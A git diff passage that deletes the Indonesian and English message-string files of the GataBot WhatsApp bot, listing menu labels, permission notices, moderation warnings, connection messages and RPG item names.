-const smsConj = () => { return `🍃 DEWAN BARU`}
-const smsFras = () => { return `🍃 KALIMAT BARU`}
-
-//info-contacto.js
-const smsContacto1 = () => { return ' Saya ' + packname + ' Bot WhatsApp yang didedikasikan untuk membantu apa pun yang Anda minta 😎'}
-const smsContacto2 = () => { return 'Saya Pemilik ' + packname + ' jika Anda memiliki pertanyaan, Anda dapat memberi tahu saya ✌️'}
-const smsContacto3 = () => { return '👑 pemilik'}
-const smsContacto4 = () => { return 'Kontak Resmi GataBot 🐈'}
-const smsContacto5 = () => { return '🐣 Apa yang bisa saya bantu?'}
-const smsContacto6 = () => { return 'Saya tidak punya surat 🙏'}
-const smsContacto7 = () => { return '🌎 Global'}
-const smsContacto8 = () => { return 'Akun ini Bot 👀'}
-
-
-export default { lenguaje, smsConexioncerrar, smsConexionperdida, smsConexionreem, smsConexionreinicio, smsConexiontiem, smsConexiondescon, smsAvisoRG, smsJoin, smsJoin1, smsJoin2, smsPropban1, smsPropban2, smsPropban3, smsPropban4, smsPropban5, smsPropban6, smsPropban7, smsLisA, smsLisB, smsLisC, smsLisD, smsLisE, smsChatGP1, smsChatGP2, smsChatGP3, smsBCMensaje, smsBCMensaje2, smsBCMensaje3, smsAvisoAG, smsAvisoIIG, smsBCbot1, smsBCbot2, smsBCbot3, smsBCbot4, smsBCbot5, smsBCbot6, smsBCbot7, smsAvisoFG, smsAvisoMG, smsAvisoEEG, smsAvisoEG, smsRowner, smsOwner, smsMods, smsPremium, smsGroup, smsPrivate, smsAdmin, smsBotAdmin, smsUnreg, smsRestrict, smsTime, smsUptime, smsVersion, smsTotalUsers, smsMode, smsModePublic, smsModePrivate, smsBanChats, smsBanUsers, smsPareja, smsResultPareja, smsSaludo, smsDia, smsTarde, smsTarde2, smsNoche, smsListaMenu, smsLista1, smsLista2, smsLista3, smsLista4, smsLista5, smsLista6, smsLista7, smsLista8, smsLista9, smsLista10, smsLista11, smsLista12, smsLista13, smsLista14, smsLista15, smsLista16, smsLista17, smsLista18, smsLista19, smsLista20, smsLista21, smsLista22, smsLista23, smsLista24, smsLista25, smsLista26, smsLista27, smsLista28, smsLista29, smsLista30, smsLista31, smsLista32, smsLista33, smsLista34, smsLista35, smsWelcome, smsBye, smsSpromote, smsSdemote, smsSdesc, smsSsubject, smsSicon, smsSrevoke, smsConexion, smsClearTmp, smsCargando, smspurgeSession, smspurgeOldFiles, smspurgeSessionSB1, smspurgeSessionSB2, smspurgeSessionSB3, smspurgeOldFiles1, smspurgeOldFiles2, smspurgeOldFiles3, smspurgeOldFiles4, smsTextoYT, smsApagar, smsEncender, smsEnlaceTik, smsEnlaceYt, smsEnlaceTel, smsEnlaceFb, smsEnlaceIg, smsEnlaceTw, smsAllAdmin, smsSoloOwner, smsCont1, smsCont2, smsCont3, smsCont4, smsCont5, smsCont6, smsCont7, smsCont8, smsCont9, smsCont10, smsCont11, smsCont12, smsCont13, smsCont14, smsCont15, smsCont16, smsCont17, smsCont18, smsCont19, smsCont20, smsCont21, smsInt1, smsInt2, smsAdwa, smsEnlaceWat, smsEnlaceWatt, smsNoSpam, smsNoSpam2, smsConMenu, smsMalError, smsMalError2, smsMalError3, smsToxic1, smsToxic2, smsToxic3, smsToxic4, smsToxic5, smsToxic6, smsToxic7, eExp, eDiamante, eDiamantePlus, eToken, eEsmeralda, eJoya, eMagia, eOro, eGataCoins, eGataTickers, eEnergia, ePocion, eAgua, eBasura, eMadera, eRoca, ePiedra, eCuerda, eHierro, eCarbon, eBotella, eLata, eCarton, eEletric, eBarraOro, eOroComun, eZorroG, eBasuraG, eLoboG, eMaderaG, eEspada, eCarnada, eBillete, ePinata, eGancho, eCanaPescar, eCComun, ePComun, eCMistica, eCMascota, eCJardineria, eClegendaria, eUva, eManzana, eNaranja, eMango, ePlatano, eSUva, eSManzana, eSNaranja, eSMango, eSPlatano, eCentauro, eAve, eGato, eDragon, eZorro, eCaballo, eFenix, eLobo, ePerro, eAMascots, eCCentauro, eCAve, eCMagica, eCDragon, eACaballo, eCFenix, smsWel1, smsWel2, smsParaAdmins, smsDete1, smsDete2, smsANivel1, smsANivel2, smsParaAdYOw, smsParaOw, smsRestri1, smsRestri2, smsLlamar1, smsLlamar2, smsModP1, smsModP2, smsModAd1, smsModAd2, smsLect1, smsLect2, smsTempo1, smsTempo2, smsStik1, smsStik2, smsStickA1, smsStickA2, smsReacc1, smsReacc2, smsAudi1, smsAudi2, smsModHor1, smsModHor2, smsAntitoc1, smsAntitoc2, smsModOb1, smsModOb2,
-smsAntiEli1, smsAntiEli2, smsAntiInt1, smsAntiInt2, smsAntiE1, smsAntiE2, smsAntiEE1, smsAntiEE2, smsAntiTT1, smsAntiTT2, smsAntiYT1, smsAntiYT2, smsAntiTEL1, smsAntiTEL2, smsAntiFB1, smsAntiFB2, smsAntiIG1, smsAntiIG2, smsAntiTW1, smsAntiTW2, smsSOLOP1, smsSOLOP2, smsSOLOG1, smsSOLOG2, smsNoGg, smsConfi1, smsConfi2, smsConfi3, smsConfi4, smsConfi5, smsConfi6, smsConfi7, smsConfi8, smsConfi9, smsConfi10, smsMens1, smsMens2, smsMens3, smsMens4, smsMens5, smsMensError1, smsMensError2, smsAntiView, smsAutoLv1, smsAutoLv2, smsAutoLv3, smsAutoLv4, smsAutoLv5, smsAutoLv6, smsAutoLv7, smsAntiSp1, smsAntiSp2, smsAutoStik, smsBottem1, smsBottem2, smsBottem3, smsPremI,
-smsAfkM1, smsAfkM2, smsAfkM3, smsAfkM4, smsAfkM5, smsAfkM6, smsAfkM1A, smsAfkM1B, smsChatAn1, smsChatAn2, smsChatAn3, smsChatAn4, smsChatAn5, smsChatAn6, smsChatAn7, smsChatAn8, smsChatAn9, smsChatAn10, smsChatAn11, smsChatAn12, smsChatAn13, smsBotonM1, smsBotonM2, smsBotonM3, smsBotonM4, smsBotonM5, smsBotonM6, smsBotonM7, smsTex1, smsTex2, smsTex3, smsTex4, smsTex5, smsTex6, smsTex7, smsTex8, smsTex9, smsTex10, smsTex11, smsTex12, smsTex13, smsTex14, smsTex15, smsTex16, smsTex17, smsTex18, smsTex19, smsTex20, smsTex21, smsTex22, smsTex23, smsMalused, smsGrupoTime1, smsGrupoTime2, smsGrupoTime3, smsGrupoTime4, smsGrupoTime5, smsGrupoTime6, smsGrupoTime7, smsGrupoTime8, smsGrupoTime9, smsGrupoTime10, smsGrupoTime11, smsGrupoTime12, smsGrupoTime13, smsAddB1, smsAddB2, smsAddB3, smsAddB4, smsAddB5, smsAddB6, smsAdveu1, smsMalused2, smsAdveu2, smsAdveu3, smsAdveu4, smsAdveu5, smsAdveu6, smsAdveu7, smsAdveu8, smsAdveu9, smsMalused3, smsAdveu10, smsAdveu11, smsAdveu12, smsDemott, smsDemott2, smsDemott3,
-smsGI1, smsGI2, smsGI3, smsGI4, smsGI5, smsGI6, smsGI7, smsGI8, smsGI9, smsGI10, smsLista22_1, smsCodigoQR, smsConexionOFF, smskick1, smskick2, smskick3, smskick4, smstagaa,
-smsSetB, smsSetB2, smsSetW, smsSetW2, smsDest, smsNam1, smsNam2, smsNam3, smsRestGp, smsSig, smsSigPrem, smsCont18Porn, smsCont18Porn2, smsCont18PornP, smsCont18PornP2,
-smsIniJadi, smsSoloOwnerJB, smsJBPrincipal, smsJBConexion, smsJBConexionClose, smsJBConexionTrue, smsJBConexionTrue2, smsJBCargando, smsJBInfo1, smsJBInfo2, smsJBDel, smsJBAdios,
-smsJBCerrarS, smsJBErr, smsContAdult, smsList1, smsList2, smsList3, smsList4, smsList5, smsList6, smsConj, smsFras, smsContacto1, smsContacto2, smsContacto3, smsContacto4,
-smsContacto5, smsContacto6, smsContacto7, smsContacto8, smsAfkQ1, smsAfkQ2, smsAfkTime, smsAfkResultTime, smsMainBot }
diff --git a/lib/idiomas/ingles.js b/lib/idiomas/ingles.js
deleted file mode 100644
index 2985b79b6..000000000
--- a/lib/idiomas/ingles.js
+++ /dev/null
@@ -1,619 +0,0 @@
-const lenguaje = () => { return 'en' } //ENGLISH
-
-//MESSAGE NOTICES
-const smsAvisoRG = () => { return `╰⊱✅⊱ *RESULT* ⊱✅⊱╮\n\n` }
-const smsAvisoAG = () => { return `╰⊱⚠️⊱ *WARNING* ⊱⚠️⊱╮\n\n` }
-const smsAvisoIIG = () => { return `╰⊱❕⊱ *INFORMATION* ⊱❕⊱╮\n\n` }
-const smsAvisoFG = () => { return `╰⊱❌⊱ *ERROR* ⊱❌⊱╮\n\n` }
-const smsAvisoMG = () => { return `╰⊱❗️⊱ *MISUSED ACTION* ⊱❗️⊱╮\n\n` }
-const smsAvisoEEG = () => { return `╰⊱📩⊱ *REPORT* ⊱📩⊱╮\n\n` }
-const smsAvisoEG = () => { return `╰⊱💚⊱ *SUCCESS* ⊱💚⊱╮\n\n` }
-
-
-//PARAMETERS IN COMMANDS
-const smsRowner = () => { return `\`\`\`¡¡THIS COMMAND ONLY ME AS A BOT CREATOR CAN USE IT!!\`\`\`` }//BOT NUMBER
-const smsOwner = () => { return `\`\`\`¡¡THIS COMMAND ONLY MY CREATOR CAN USE IT!!\`\`\`` }//OWNER
-const smsMods = () => { return `\`\`\`¡¡THIS COMMAND ONLY MODERATORS AND MY CREATOR CAN USE IT!!\`\`\`` }//MODERATORS
-const smsPremium = () => { return `\`\`\`¡¡THIS COMMAND IS ONLY AVAILABLE TO PREMIUM USERS AND MY CREATOR!! TO GET PREMIUM BUY A PASS USING #pass premium\`\`\`` }//PREMIUM USERS
-const smsGroup = () => { return `\`\`\`¡¡THIS COMMAND CAN ONLY BE USED IN GROUPS!!\`\`\`` }//FOR GROUPS
-const smsPrivate = () => { return `\`\`\`¡¡THIS COMMAND CAN ONLY BE USED TO THE PRIVATE!!\`\`\`` }//TO THE PRIVATE
-const smsAdmin = () => { return `\`\`\`¡¡THIS COMMAND IS ONLY FOR ADMINS!!\`\`\`` }//ADMINS
-const smsBotAdmin = () => { return `\`\`\`¡¡I NEED TO BE ADMIN SO YOU CAN USE THIS COMMAND!!\`\`\`` }//BOT WITH ADMIN
-const smsUnreg = () => { return `\`\`\`¡¡YOU NEED TO BE REGISTERED TO USE THIS COMMAND, WRITE #verify TO REGISTER!!\`\`\`` }//VERIFY
-const smsRestrict = () => { return `\`\`\`¡¡THIS COMMAND IS RESTRICTED BY MY CREATOR!!\`\`\`` }//RESTRICT COMMAND
-
-
-//LIST MENU
-const smsTime = () => { return `Current time`}
-const smsUptime = () => { return `Running During`}
-const smsVersion = () => { return `Version of ${global.packname}`}
-const smsTotalUsers = () => { return `Total Users`}
-const smsMode = () => { return `It's in mode`}
-const smsModePublic = () => { return `PUBLIC`}
-const smsModePrivate = () => { return `PRIVATE`}
-const smsBanChats = () => { return `Banned Chats`}
-const smsBanUsers = () => { return `Banned Users`}
-const smsPareja = () => { return `Couple`}
-const smsResultPareja = () => { return `Single`}
-const smsSaludo = () => { return `👋 HELLO! WELCOME 👋`}
-const smsDia = () => { return `🌇 Good Morning ⛅`}
-const smsTarde = () => { return `🏙️ Good Evening 🌤️`}
-const smsTarde2 = () => { return `🌆 Good Evening 🌥️`}
-const smsNoche = () => { return `🌃 Good Night 💫`}
-const smsListaMenu = () => { return `⊹ MENU LIST ⊹`}
-const smsLista1 = () => { return `🌟 GATABOT INFORMATION 🌟`}
-const smsLista2 = () => { return `💖 CREATOR 💖`}
-const smsLista3 = () => { return `🎁 DONATE : SUPPORT 🎁`}
-const smsLista4 = () => { return `🚀 SPEED 🚀`}
-const smsLista5 = () => { return `💡 MENU INFORMATION 💡`}
-const smsLista6 = () => { return `🌀 FULL MENU 🌀`}
-const smsLista7 = () => { return `🐈 INSTALL GATABOT 🐈`}
-const smsLista8 = () => { return `🍄 BE SUB BOT 🍄`}
-const smsLista9 = () => { return `📄 TERMS, CONDITIONS AND PRIVACY 📄`}
-const smsLista10 = () => { return `🌟 ADVENTURE AND TOP 🌟`}
-const smsLista11 = () => { return `🏆 WORLD TOP 🏆`}
-const smsLista12 = () => { return `🏅 PREMIUM USERS 🏅`}
-const smsLista13 = () => { return `🎟️ BE A PREMIUM USER 🎟️`}
-const smsLista14 = () => { return `🛣️ MISSIONS 🛣️`}
-const smsLista15 = () => { return `⚗️ RPG MENU ⚗️`}
-const smsLista16 = () => { return `🏪 SHOP PURCHASE 🏪`}
-const smsLista17 = () => { return `🎒 INVENTORY 🎒`}
-const smsLista18 = () => { return `🌟 MULTIMEDIA 🌟`}
-const smsLista19 = () => { return `📲 DOWNLOAD MENU 📲`}
-const smsLista20 = () => { return `🔍 SEARCH MENU 🔍`}
-const smsLista21 = () => { return `🛰️ CONVERTER MENU 🛰️`}
-const smsLista22 = () => { return `🧰 AUDIO MODIFIER MENU 🧰`}
-const smsLista22_1 = () => { return `🔩 TOOLS MENU 🔩`}
-const smsLista23 = () => { return `🌟 FUN 🌟`}
-const smsLista24 = () => { return `🎡 DYNAMIC GAMES 🎡`}
-const smsLista25 = () => { return `🔊 AUDIO MENU 🔊`}
-const smsLista26 = () => { return `🎈 STICKERS AND FILTERS MENU 🎈`}
-const smsLista27 = () => { return `✨ EFFECTS AND LOGOS MENU ✨`}
-const smsLista28 = () => { return `🌅 LOGOS MENU 2 🌅`}
-const smsLista29 = () => { return `⛩️ RANDOM MEMES AND ANIME ⛩️`}
-const smsLista30 = () => { return `🔞 COMMANDS FOR ADULTS +18 🔞`}
-const smsLista31 = () => { return `🌟 SETTINGS 🌟`}
-const smsLista32 = () => { return `🔰 MENU FOR GROUPS 🔰`}
-const smsLista33 = () => { return `📑 TYPES OF LISTS 📑`}
-const smsLista34 = () => { return `⚙️ CONFIGURATION CENTER ⚙️`}
-const smsLista35 = () => { return `💎 OWNER MENU 💎`}
-
-//main.js
-const smsWelcome = () => { return `*╭┈⊰* @subject *⊰┈ ✦*\n*┊✨ WELCOME!!*\n┊💖 @user\n┊📄 *READ THE GROUP DESCRIPTION*\n*╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ ✦*\n${String.fromCharCode(8206).repeat(850)}\n@desc`}
-const smsBye = () => { return '*╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈⊰*\n┊ @user\n┊ *HE LEFT THE GROUP, COME BACK SOON* 😎\n*╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈⊰*'}
-const smsSpromote = () => { return '*@user YOU ARE NOW ADMIN IN THIS GROUP!!*'}
-const smsSdemote = () => { return '*@user NO LONGER ADMIN IN THIS GROUP!!*'}
-const smsSdesc = () => { return '*THE NEW DESCRIPTION OF THE GROUP IS:*\n\n@desc'}
-const smsSsubject = () => { return '*THE NEW NAME OF THE GROUP IS:*\n\n@subject'}
-const smsSicon = () => { return '*THE PHOTO OF THIS GROUP WAS CHANGED!!*'}
-const smsSrevoke = () => { return '*NOW THIS IS THE NEW LINK OF THIS GROUP!!*\n\n*@revoke*'}
-const smsConexion = () => { return `\n𓃠 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈✦ 🟢 CONNECTION ✦┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ 𓃠\n│\n│★ SUCCESSFUL CONNECTION WITH WHATSAPP 😺\n│\n𓃠 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈✦ ✅ ✦┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈ 𓃠`}
-const smsCargando = () => { return `😸 LOADING...\n`}
-const smsCodigoQR = () => { return `\n✅ SCAN THE QR CODE EXPIRES IN 45 SECONDS ✅`}
-const smsConexionOFF = () => { return `\n⚠️ NO CONNECTION, DELETE THE FOLDER ${global.authFile} AND SCAN THE QR CODE ⚠️`}
-const smsClearTmp = () => { return `\n╭» 🟢 MULTIMEDIA 🟢\n│→ FILES FROM THE TMP FOLDER DELETED\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSession = () => { return `\n╭» 🔵 ${global.authFile} 🔵\n│→ NON-ESSENTIAL SESSIONS ELIMINATED\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeOldFiles = () => { return `\n╭» 🟠 FILES 🟠\n│→ RESIDUAL FILES DELETED\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB1 = () => { return `\n╭» 🟡 GataJadiBot 🟡\n│→ NOTHING TO DELETE \n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB2 = () => { return `\n╭» ⚪ GataJadiBot ⚪\n│→ NON-ESSENTIAL FILES DELETED\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB3 = () => { return `\n╭» 🔴 GataJadiBot 🔴\n│→ AN ERROR OCCURRED\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️\n`}
-const smspurgeOldFiles1 = () => { return `\n╭» 🟣 ARCHIVE 🟣\n│→`}
-const smspurgeOldFiles2 = () => { return `DELETE SUCCESSFULLY\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeOldFiles3 = () => { return `\n╭» 🔴 ARCHIVE 🔴\n│→`}
-const smspurgeOldFiles4 = () => { return `FAILED TO DELETE\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️❌\n`}
-const smsConexioncerrar = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☹\n┆ ⚠️ CONNECTION CLOSED, RECONNECTING....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☹`}
-const smsConexionperdida = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☂\n┆ ⚠️ LOST CONNECTION WITH THE SERVER, RECONNECTING....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ☂`}
-const smsConexionreem = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✗\n┆ ⚠️ CONNECTION REPLACED, ANOTHER NEW SESSION HAS BEEN OPENED, PLEASE CLOSE THE CURRENT SESSION FIRST.\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✗`}
-const smsConexionreinicio = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✓\n┆ ❇️ CONNECTING TO THE SERVER...\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ✓`}
-const smsConexiontiem = () => { return `\n╭┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ▸\n┆ ⌛ CONNECTION TIMED OUT, RECONNECTING....\n╰┄┄┄┄┄┄┄┄┄┄┄┄┄┄ • • • ┄┄┄┄┄┄┄┄┄┄┄┄┄┄ ▸`}
-const smsConexiondescon = (reason, connection) => { return `\n⚠️❗ UNKNOWN DISCONNECTION REASON: ${reason || ''} >> ${connection || ''}`}
-const smsMainBot = () => { return "'main.js' WAS SUCCESSFULLY UPDATED"}
-
-//_allantilink.js
-const smsTextoYT = () => { return '😻 Super GataBot-MD - WhatsApp '}
-const smsApagar = () => { return '❌ DEACTIVATE'}
-const smsEncender = () => { return '✅ ACTIVATE'}
-const smsEnlaceTik = () => { return `*A BANNED TIKTOK LINK WAS DETECTED IN THIS GROUP*\n\n*I PROCEED TO DELETE YOU*`}
-const smsEnlaceYt = () => { return `*A BANNED YOUTUBE LINK WAS DETECTED IN THIS GROUP*\n\n*I PROCEED TO DELETE YOU*`}
-const smsEnlaceTel = () => { return `*A BANNED TELEGRAM LINK WAS DETECTED IN THIS GROUP*\n\n*I PROCEED TO DELETE YOU*`}
-const smsEnlaceFb = () => { return `*A BANNED FACEBOOK LINK WAS DETECTED IN THIS GROUP*\n\n*I PROCEED TO DELETE YOU*`}
-const smsEnlaceIg = () => { return `*A BANNED INSTAGRAM LINK WAS DETECTED IN THIS GROUP*\n\n*I PROCEED TO DELETE YOU*`}
-const smsEnlaceTw = () => { return `*A BANNED TWITTER LINK WAS DETECTED IN THIS GROUP*\n\n*I PROCEED TO DELETE YOU*`}
-const smsAllAdmin = () => { return `*I NEED TO BE ADMIN TO BE ABLE TO REMOVE INTRUDERS*`}
-const smsSoloOwner = () => { return `*MY CREATOR MUST ACTIVATE THE FUNCTION*\n*#on restrict*`}
-
-//handler.js
-const smsCont1 = () => { return `*🔴 COMMAND FAILING 🔴*`}
-const smsCont2 = () => { return `*⚠️ PLUGIN:*`}
-const smsCont3 = () => { return `*⚠️ USER:*`}
-const smsCont4 = () => { return `*⚠️ COMMAND:*`}
-const smsCont5 = () => { return `*⚠️ ERROR:*`}
-const smsCont6 = () => { return `*❗ REPORT THIS MESSAGE USING THE COMMAND #reporte IN ORDER TO SOLVE IT*`}
-const smsCont7 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*DOESN'T HAVE DIAMONDS!! 💎 YOU CAN GO TO THE STORE WITH THE COMMAND*`}
-const smsCont8 = () => { return ` *DIAMOND 💎 USED*`}
-const smsCont9 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*NEED THE LEVEL ➡️*`}
-const smsCont10 = () => { return `*TO USE THIS COMMAND. YOUR CURRENT LEVEL IS ➡️*`}
-const smsCont11 = () => { return `*UPDATE WITH COMMAND*`}
-const smsCont12 = () => { return `A GREAT GROUP!! 😼`}
-const smsCont13 = () => { return `SOMEONE JOINED!! 🥳`}
-const smsCont14 = () => { return `SOMEONE LEFT!! 🧐`}
-const smsCont15 = () => { return `*HELLO*`}
-const smsCont16 = () => { return `*THE VIDEO CALLS* 📲`}
-const smsCont17 = () => { return `*THE CALLS* 📞`}
-const smsCont18 = () => { return `*THEY ARE NOT AUTHORIZED SO I AM GOING TO BLOCK YOU*\n\n*IF YOU CALLED BY ACCIDENT CONTACT THE PERSON CREATOR OF THIS BOT*`}
-const smsCont19 = () => { return `ANTI DELETE`}
-const smsCont20 = () => { return `*┃✤ Name:*`}
-const smsCont21 = () => { return `*┃✤ Sending the deleted message...*`}
-
-//_anti-internacional.js
-const smsInt1 = () => { return `*THIS NUMBER*`}
-const smsInt2 = () => { return `*NOT ALLOWED IN THIS GROUP!!*`}
-
-//_antilink.js
-const smsAdwa = () => { return `${global.lenguajeGB['smsAvisoEG']()}*AS YOU ARE ADMIN IN THIS GROUP YOU WILL NOT BE REMOVED*`}
-const smsEnlaceWat = () => { return `${lenguajeGB['smsAvisoAG']()}*A BANNED WHATSAPP LINK WAS DETECTED IN THIS GROUP*\n\n*I PROCEED TO DELETE YOU*`}
-
-
-//_antilink2.js
-const smsEnlaceWatt = () => { return `${lenguajeGB['smsAvisoAG']()}A FORBIDDEN LINK CONTAINING HTTPS WAS DETECTED IN THIS GROUP\n\nI PROCEED TO DELETE YOU`}
-
-//_antispam.js
-const smsNoSpam = () => { return `🤨 DO NOT SPAM, YOU WILL NOT BE ABLE TO USE ${global.packname} FOR ${60000 / 1000 - 59} MINUTE`}
-
-//_antispam_.js
-const smsNoSpam2 = () => { return `WAS UNBANNED AFTER ${60000 / 1000 - 59} MINUTE. PLEASE DO NOT SPAM!!`}
-
-//Texto
-const smsConMenu = () => { return `☘️ MENU`}
-
-//Error
-const smsMalError = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`AN UNEXPECTED ERROR HAS OCCURRED.\`\`\``}
-const smsMalError2 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`AN INCONVENIENCE HAS ARISEN. TRY AGAIN.\`\`\``}
-const smsMalError3 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`SOMETHING WENT WRONG, REPORT THIS COMMAND USING:\`\`\`\n`}
-
-//_antitoxic.js
-const smsToxic1 = () => { return `NOO!!! 🤬 SAY THIS WORD`}
-const smsToxic2 = () => { return `IT IS FORBIDDEN DO NOT BE TOXIC`}
-const smsToxic3 = () => { return `*WARNING*\n⚠️`}
-const smsToxic4 = () => { return `😭 I'M SORRY`}
-const smsToxic5 = () => { return `☢️ DISABLE ANTITOXIC`}
-const smsToxic6 = () => { return `I WARNED YOU SEVERAL TIMES!!`}
-const smsToxic7 = () => { return `YOU PASSED ALL 4 WARNINGS NOW YOU WILL BE ELIMINATED 🙄`}
-
-//Tienda
-const eExp = () => { return '⚡ Experience' }
-const eDiamante = () => { return '💎 Diamond' }
-const eDiamantePlus = () => { return '💎+ Diamond+' }
-const eToken = () => { return '🪙 Token' }
-const eEsmeralda = () => { return '💚 Emerald' }
-const eJoya = () => { return '♦️ Jewel' }
-const eMagia = () => { return '🌀 Magic' }
-const eOro = () => { return '👑 Gold' }
-const eGataCoins = () => { return '🐱 GataCoins' }
-const eGataTickers = () => { return '🎫 Gata Tickers' }
-const eEnergia = () => { return '✨ Energy' }
-
-const ePocion = () => { return '🥤 Potion' }
-const eAgua = () => { return '💧 Water' }
-const eBasura = () => { return '🗑 Trash' }
-const eMadera = () => { return '🪵 Wood' }
-const eRoca = () => { return '🪨 Rock' }
-const ePiedra = () => { return '🥌 Stone' }
-const eCuerda = () => { return '🕸️ String' }
-const eHierro = () => { return '⛓️ Iron' }
-const eCarbon = () => { return '⚱️ Coal' }
-const eBotella = () => { return '🍶 Bottle' }
-const eLata = () => { return '🥫 Can' }
-const eCarton = () => { return '🪧 Paperboard' }
-
-const eEletric = () => { return '💡 Electricity' }
-const eBarraOro = () => { return '〽️ Gold bar' }
-const eOroComun = () => { return '🧭 Common Gold' }
-const eZorroG = () => { return '🦊🌫️ Big Fox' }
-const eBasuraG = () => { return '🗑🌫️ Super Trash' }
-const eLoboG = () => { return '🐺🌫️ Super Wolf' }
-const eMaderaG = () => { return '🛷🌫️ Super Wood' }
-const eEspada = () => { return '⚔️ Sword' }
-const eCarnada = () => { return '🪱 Bait' }
-const eBillete = () => { return '💵 Banknotes' }
-const ePinata = () => { return '🪅 Pinata' }
-const eGancho = () => { return '🪝 Hook' }
-const eCanaPescar = () => { return '🎣 Fishing Rod' }
-
-const eCComun = () => { return '📦 Common Box' }
-const ePComun = () => { return '🥡 Uncommon Box' }
-const eCMistica = () => { return '🗳️ Mythic Box' }
-const eCMascota = () => { return '📫 Pet Box' }
-const eCJardineria = () => { return '💐 Gardening Box' }
-const eClegendaria = () => { return '🎁 Legendary Box' }
-
-const eUva = () => { return '🍇 Grape' }
-const eManzana = () => { return '🍎 Apple' }
-const eNaranja = () => { return '🍊 Orange' }
-const eMango = () => { return '🥭 Mango' }
-const ePlatano = () => { return '🍌 Banana' }
-
-const eSUva = () => { return '🌾🍇 Grape seeds' }
-const eSManzana = () => { return '🌾🍎 Apple seeds' }
-const eSNaranja = () => { return '🌾🍊 Orange seeds' }
-const eSMango = () => { return '🌾🥭 Mango Seeds' }
-const eSPlatano = () => { return '🌾🍌 Banana seeds' }
-
-const eCentauro = () => { return '🐐 Centaur' }
-const eAve = () => { return '🦅 Bird' }
-const eGato = () => { return '🐈 Cat' }
-const eDragon = () => { return '🐉 Dragon' }
-const eZorro = () => { return '🦊 Fox' }
-const eCaballo = () => { return '🐎 Horse' }
-const eFenix = () => { return '🕊️ Phoenix' }
-const eLobo = () => { return '🐺 Wolf' }
-const ePerro = () => { return '🐶 Dog' }
-
-const eAMascots = () => { return '🍖 Pet Food' }
-const eCCentauro = () => { return '🐐🥩 Centaur Food' }
-const eCAve = () => { return '🦅🥩 Bird Food' }
-const eCMagica = () => { return '🌀🥩 Magic Food' }
-const eCDragon = () => { return '🐉🥩 Dragon Food' }
-const eACaballo = () => { return '🐎🥩 Horse Food' }
-const eCFenix = () => { return '🕊️🥩 Phoenix Food' }
-
-
-//config-on y off.js
-const smsWel1 = () => { return `🎉 WELCOME`}
-const smsWel2 = () => { return `Welcome Message for new Members in Groups`}
-const smsDete1 = () => { return `🔔 DETECT`}
-const smsDete2 = () => { return `Notices of actions within the Group`}
-const smsANivel1 = () => { return `🆙 AUTO LEVEL`}
-const smsANivel2 = () => { return `Level up everyone automatically; (Applies rewards for leveling up)`}
-const smsRestri1 = () => { return `⛔ TO RESTRICT`}
-const smsRestri2 = () => { return `Enable function to add or remove people in Groups`}
-const smsLlamar1 = () => { return `🚫 ANTI CALLS`}
-const smsLlamar2 = () => { return `Block people who make calls`}
-const smsAntiSp1 = () => { return `🚯 ANTI SPAM`}
-const smsAntiSp2 = () => { return `Ban the Use of Commands when someone performs some type of Spam`}
-const smsModP1 = () => { return `🌐 PUBLIC MODE`}
-const smsModP2 = () => { return `Enable function so everyone can use GataBot`}
-const smsModAd1 = () => { return `🛂 ADMIN MODE`}
-const smsModAd2 = () => { return `Only Admins will be able to use GataBot in Groups`}
-const smsLect1 = () => { return `✅ AUTOMATIC READING`}
-const smsLect2 = () => { return `Leave messages or chats as Read`}
-const smsTempo1 = () => { return `🐈 TEMPORARY BOT`}
-const smsTempo2 = () => { return `Function that allows temporary stay in Groups`}
-const smsStik1 = () => { return `🎠 STICKERS`}
-const smsStik2 = () => { return `Enable automatic sending of Stickers to everyone`}
